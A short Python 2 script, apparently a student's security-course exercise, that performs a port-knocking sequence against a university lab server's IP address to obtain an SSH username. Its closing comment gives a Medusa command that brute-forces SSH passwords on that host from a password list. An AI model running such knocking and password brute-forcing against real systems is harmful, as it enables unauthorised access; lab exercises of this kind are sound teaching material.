#!/usr/bin/python

import socket               # Import socket module

initial_port = 82
ra_data = "ra70168"
host = "143.106.60.72" #"segc.las.ic.unicamp.br"
bufsize = 64

########################################
### PORT KNOCKING METHODS ##############
########################################

#sends a tcp packet 
def send_tcp(port):
    # Create a socket object
    s = socket.socket()     
    # conects
    s.connect((host, port))    
    # send ra
    s.send(ra_data)
    #receve data
    data = s.recv(bufsize);
    #close connection
    s.close()
    return data

#sends udp datagram
def send_udp(port):
    # Create a UDP socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # send ra
    s.sendto(ra_data, (host, port))
    #receve data
    data = s.recvfrom(bufsize);
    # assuming no one else will send data to us at this seldom port
    return data[0]

#do port knock process
def knock():
    print "Sending first knock-knock at T" + str(initial_port)
    data = send_tcp(initial_port)
    
    while (not "sshuser=" in data):
        print "Recived " + data
        port = int(data[1:])
        if (data[0] == "T"):
            print "Sending knock-kock at T" + str(port)
            data = send_tcp(port)
        elif (data[0] == "U"):
            print "Sending knock-kock at U" + str(port)
            data = send_udp(port)
        else:
            print "Gosh, something went wrong: " + data

    print "Access granted: " + data

########################################

#get access
knock()

#do ssh stuff
#medusa -h 143.106.60.72 -u ra70168 -P pass.txt -M ssh

